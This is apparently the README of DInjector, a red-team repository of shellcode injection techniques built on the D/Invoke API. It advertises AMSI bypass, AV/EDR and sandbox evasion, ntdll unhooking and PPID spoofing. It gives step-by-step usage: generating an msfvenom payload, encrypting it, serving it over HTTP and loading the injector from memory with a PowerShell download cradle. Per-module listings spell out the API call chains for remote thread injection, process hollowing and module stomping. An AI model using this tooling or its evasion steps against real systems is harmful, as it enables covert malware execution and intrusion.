( (
)\ ) )\ ) ) ( ( (
(()/((()/( ( ( ( /( ( )\ ))\ )\
/(_))/(_))( )\ ))\ ( )\())( )( (()/((_|(_)
(_))_(_)) )\ |(_)/((_))\(_))/ )\(()\ ((_)) _
| \_ _|_(_/( !(_)) ((_) |_ ((_)((_) _| | || |
| |) | || ' \)) / -_) _|| _/ _ \ '_| _/ _` | || |
|___/___|_||_|/ \___\__| \__\___/_| (_)__,_|_||_|
|__/-----------------------------------
K E E P
C A L M
A N D
D / I N đź’‰ E C T
S H E L L C O D E
This repository is an accumulation of code snippets for various shellcode injection techniques using fantastic D/Invoke API by @TheWover and @FuzzySecurity.
Features:
- Fully ported to D/Invoke API
- Encrypted payloads which can be invoked from a URL or passed in base64 as an argument
- Built-in AMSI bypass
- PPID Spoofing and block non-Microsoft DLLs (stolen from TikiTorch, write-up is here)
- Simple sandbox detection & evasion
- Prime numbers calculation to emulate sleep for in-memory scan evasion
- Ntdll.dll unhooking
ℹ️ Based on my testings the DInvoke NuGet package itself is being flagged by many commercial AV/EDR solutions when incuded as an embedded resource via Costura.Fody (or similar approaches), so I've shrinked it a bit and included from source to achieve better OpSec.
DISCLAIMER. All information contained in this repository is provided for educational and research purposes only. The author is not responsible for any illegal use of this tool.
- Compile the project in VS.
- Generate a shellcode of your choice:
~$ msfvenom -p windows/x64/messagebox TITLE='MSF' TEXT='Hack the Planet!' EXITFUNC=thread -f raw -o shellcode.bin- Encrypt the shellcode:
~$ encrypt.py shellcode.bin -p 'Passw0rd!' -o enc- Serve the encrypted shellcode:
~$ file enc
enc: data
~$ sudo python3 -m http.server 80- Use the PowerShell download cradle to load DInjector.dll as
System.Reflection.Assemblyand execute it from memory.
Global arguments:
| Name | Required | Example Values | Description |
|---|---|---|---|
/sc |
✔️ | http://10.10.13.37/enc |
Sets shellcode path (can be loaded from URL or as a base64 string) |
/password |
✔️ | Passw0rd! |
Sets password to decrypt the shellcode |
/am51 |
❌ | True, False |
Applies AMSI bypass |
/unhook |
❌ | True, False |
Unhooks ntdll.dll |
/sleep |
❌ | 10, 25 |
Sets number of seconds (approx.) to sleep before execution |
module_name: 'functionpointer'
description: |
Allocates a RW memory region, copies the shellcode into it and executes it like a function.
calls:
- ntdll.dll:
1: 'NtAllocateVirtualMemory (PAGE_READWRITE)'
2: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
3: 'NtFreeVirtualMemory'
opsec_safe: false
references:
- 'http://disbauxes.upc.es/code/two-basic-ways-to-run-and-test-shellcode/'
- 'https://www.ired.team/offensive-security/code-injection-process-injection/local-shellcode-execution-without-windows-apis'
- 'https://www.fergonez.net/post/shellcode-csharp'module_name: 'functionpointerv2'
description: |
Sets RX on a byte array and executes it like a function.
calls:
- ntdll.dll:
1: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
opsec_safe: false
references:
- 'https://jhalon.github.io/utilizing-syscalls-in-csharp-1/'
- 'https://jhalon.github.io/utilizing-syscalls-in-csharp-2/'
- 'https://github.com/jhalon/SharpCall/blob/master/Syscalls.cs'module_name: 'clipboardpointer'
description: |
Copies shellcode bytes into the clipboard, sets RX on it and executes it like a function.
calls:
- user32.dll:
1: 'OpenClipboard'
2: 'SetClipboardData'
3: 'CloseClipboard'
- ntdll.dll:
1: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
opsec_safe: true
references:
- 'https://gist.github.com/Wra7h/69a03c802ae6977e74b1152a4b004515'module_name: 'currentthread'
description: |
Injects shellcode into current process.
Thread execution via NtCreateThreadEx.
calls:
- ntdll.dll:
1: 'NtAllocateVirtualMemory (PAGE_READWRITE)'
2: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
3: 'NtCreateThreadEx'
4: 'NtWaitForSingleObject'
5: 'NtFreeVirtualMemory'
opsec_safe: false
references:
- 'https://github.com/XingYun-Cloud/D-Invoke-syscall/blob/main/Program.cs'module_name: 'currentthreaduuid'
description: |
Injects shellcode into current process.
Thread execution via EnumSystemLocalesA.
calls:
- kernel32.dll:
1: 'HeapCreate'
2: 'EnumSystemLocalesA'
- rpcrt4.dll:
1: 'UuidFromStringA'
opsec_safe: false
references:
- 'https://blog.sunggwanchoi.com/eng-uuid-shellcode-execution/'
- 'https://github.com/ChoiSG/UuidShellcodeExec/blob/main/USEConsole/Program.cs'module_name: 'remotethread'
arguments: |
/pid:1337
description: |
Injects shellcode into an existing remote process.
Thread execution via NtCreateThreadEx.
calls:
- ntdll.dll:
1: 'NtOpenProcess'
2: 'NtAllocateVirtualMemory (PAGE_READWRITE)'
3: 'NtWriteVirtualMemory (shellcode)'
4: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
5: 'NtCreateThreadEx'
6: 'NtFreeVirtualMemory'
opsec_safe: false
references:
- 'https://github.com/S3cur3Th1sSh1t/SharpImpersonation/blob/main/SharpImpersonation/Shellcode.cs'module_name: 'remotethreaddll'
arguments: |
/pid:1337
/dll:msvcp_win.dll
description: |
Injects shellcode into an existing remote process overwriting one of its loaded modules' .text section.
Thread execution via NtCreateThreadEx.
calls:
- ntdll.dll:
1: 'NtOpenProcess'
2: 'NtWriteVirtualMemory (shellcode)'
3: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
4: 'NtCreateThreadEx'
opsec_safe: -
references:
- 'https://www.netero1010-securitylab.com/eavsion/alternative-process-injection'module_name: 'remotethreadview'
arguments: |
/pid:1337
description: |
Injects shellcode into an existing remote process.
Thread execution via RtlCreateUserThread.
calls:
- ntdll.dll:
1: 'NtOpenProcess'
2: 'NtCreateSection (PAGE_EXECUTE_READWRITE)'
3: 'NtMapViewOfSection (PAGE_READWRITE)'
4: 'NtMapViewOfSection (PAGE_EXECUTE_READ)'
5: 'RtlCreateUserThread'
6: 'NtUnmapViewOfSection'
opsec_safe: false
references:
- 'https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/Sections%20Shellcode%20Process%20Injector/Program.cs'module_name: 'remotethreadsuspended'
arguments: |
/pid:1337
description: |
Injects shellcode into an existing remote process and flips memory protection to PAGE_NOACCESS.
After a short sleep (waiting until a possible AV scan is finished) the protection is flipped again to PAGE_EXECUTE_READ.
Thread execution via NtCreateThreadEx.
calls:
- ntdll.dll:
1: 'NtOpenProcess'
2: 'NtAllocateVirtualMemory (PAGE_READWRITE)'
3: 'NtWriteVirtualMemory (shellcode)'
4: 'NtProtectVirtualMemory (PAGE_NOACCESS)'
5: 'NtCreateThreadEx (CREATE_SUSPENDED)'
6: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
7: 'NtResumeThread'
8: 'NtFreeVirtualMemory'
opsec_safe: true
references:
- 'https://labs.f-secure.com/blog/bypassing-windows-defender-runtime-scanning/'
- 'https://github.com/plackyhacker/Suspended-Thread-Injection/blob/main/injection.cs'module_name: 'remotethreadkernelcb'
arguments: |
/pid:1337
description: |
Injects shellcode into an existing remote GUI process by spoofing the fnCOPYDATA value in KernelCallbackTable.
Thread execution via SendMessageA.
calls:
- user32.dll:
1: 'FindWindowExA'
2: 'SendMessageA'
- ntdll.dll:
1: 'NtOpenProcess'
2: 'NtQueryInformationProcess'
3: 'NtReadVirtualMemory (kernelCallbackAddress)'
4: 'NtReadVirtualMemory (kernelCallbackValue)'
5: 'NtReadVirtualMemory (kernelStruct.fnCOPYDATA)'
6: 'NtProtectVirtualMemory (PAGE_READWRITE)'
7: 'NtWriteVirtualMemory (shellcode)'
8: 'NtProtectVirtualMemory (oldProtect)'
9: 'NtProtectVirtualMemory (PAGE_READWRITE)'
10: 'NtWriteVirtualMemory (origData)'
11: 'NtProtectVirtualMemory (oldProtect)'
opsec_safe: -
references:
- 'https://t0rchwo0d.github.io/windows/Windows-Process-Injection-Technique-KernelCallbackTable/'
- 'https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/'
- 'https://gist.github.com/sbasu7241/5dd8c278762c6305b4b2009d44d60c13'module_name: 'remotethreadapc'
arguments: |
/image:C:\Windows\System32\svchost.exe
/ppid:31337
/blockDlls:True
description: |
Injects shellcode into a newly spawned remote process.
Thread execution via NtQueueApcThread.
calls:
- kernel32.dll:
1: 'InitializeProcThreadAttributeList'
2: 'UpdateProcThreadAttribute (blockDLLs)'
3: 'UpdateProcThreadAttribute (PPID)'
4: 'CreateProcessA'
- ntdll.dll:
1: 'NtAllocateVirtualMemory (PAGE_READWRITE)'
2: 'NtWriteVirtualMemory (shellcode)'
3: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
4: 'NtOpenThread'
5: 'NtQueueApcThread'
6: 'NtAlertResumeThread'
7: 'NtFreeVirtualMemory'
opsec_safe: true
references:
- 'https://rastamouse.me/exploring-process-injection-opsec-part-2/'
- 'https://gist.github.com/jfmaes/944991c40fb34625cf72fd33df1682c0'module_name: 'remotethreadcontext'
arguments: |
/image:C:\Windows\System32\svchost.exe
/ppid:31337
/blockDlls:True
description: |
Injects shellcode into a newly spawned remote process.
Thread execution via SetThreadContext.
calls:
- kernel32.dll:
1: 'InitializeProcThreadAttributeList'
2: 'UpdateProcThreadAttribute (blockDLLs)'
3: 'UpdateProcThreadAttribute (PPID)'
4: 'CreateProcessA'
- ntdll.dll:
1: 'NtAllocateVirtualMemory (PAGE_READWRITE)'
2: 'NtWriteVirtualMemory (shellcode)'
3: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
4: 'NtCreateThreadEx (CREATE_SUSPENDED)'
5: 'GetThreadContext'
6: 'SetThreadContext'
7: 'NtResumeThread'
8: 'NtFreeVirtualMemory'
opsec_safe: true
references:
- 'https://blog.xpnsec.com/undersanding-and-evading-get-injectedthread/'
- 'https://github.com/djhohnstein/CSharpSetThreadContext/blob/master/Runner/Program.cs'module_name: 'processhollowing'
arguments: |
/image:C:\Windows\System32\svchost.exe
/ppid:31337
/blockDlls:True
description: |
Injects shellcode into a newly spawned remote process.
Thread execution via NtResumeThread (hollowing with shellcode).
calls:
- kernel32.dll:
1: 'InitializeProcThreadAttributeList'
2: 'UpdateProcThreadAttribute (blockDLLs)'
3: 'UpdateProcThreadAttribute (PPID)'
4: 'CreateProcessA'
- ntdll.dll:
1: 'NtQueryInformationProcess'
2: 'NtReadVirtualMemory (ptrImageBaseAddress)'
3: 'NtProtectVirtualMemory (PAGE_EXECUTE_READWRITE)'
4: 'NtWriteVirtualMemory (shellcode)'
5: 'NtProtectVirtualMemory (oldProtect)'
6: 'NtResumeThread'
opsec_safe: false
references:
- 'https://github.com/CCob/SharpBlock/blob/master/Program.cs'module_name: 'modulestomping'
arguments: |
/image:C:\Windows\System32\svchost.exe
/stomp:xpsservices.dll
/export:DllCanUnloadNow
/ppid:31337
/blockDlls:True
description: |
Loads a trusted module from disk and overwrites one of its exported functions.
Thread execution via NtCreateThreadEx.
calls:
- kernel32.dll:
1: 'InitializeProcThreadAttributeList'
2: 'UpdateProcThreadAttribute (blockDLLs)'
3: 'UpdateProcThreadAttribute (PPID)'
4: 'CreateProcessA'
- ntdll.dll:
1: 'NtAllocateVirtualMemory (bModuleName, PAGE_READWRITE)'
2: 'NtAllocateVirtualMemory (shim, PAGE_READWRITE)'
3: 'NtWriteVirtualMemory (bModuleName)'
4: 'NtWriteVirtualMemory (shim)'
5: 'NtProtectVirtualMemory (shim, PAGE_EXECUTE_READ)'
6: 'NtCreateThreadEx (shim)'
7: 'NtWaitForSingleObject'
8: 'NtFreeVirtualMemory (allocModule)'
9: 'NtFreeVirtualMemory (allocShim)'
10: 'NtProtectVirtualMemory (shellcode, PAGE_READWRITE)'
11: 'NtWriteVirtualMemory (shellcode)'
12: 'NtProtectVirtualMemory (shellcode, PAGE_EXECUTE_READ)'
13: 'NtCreateThreadEx (shellcode)'
opsec_safe: true
references:
- 'https://offensivedefence.co.uk/posts/module-stomping/'
- 'https://github.com/rasta-mouse/TikiTorch/blob/master/TikiLoader/Stomper.cs'- @TheWover and @FuzzySecurity for their awesome DInvoke project.
- All those great researchers mentioned in the modules references above.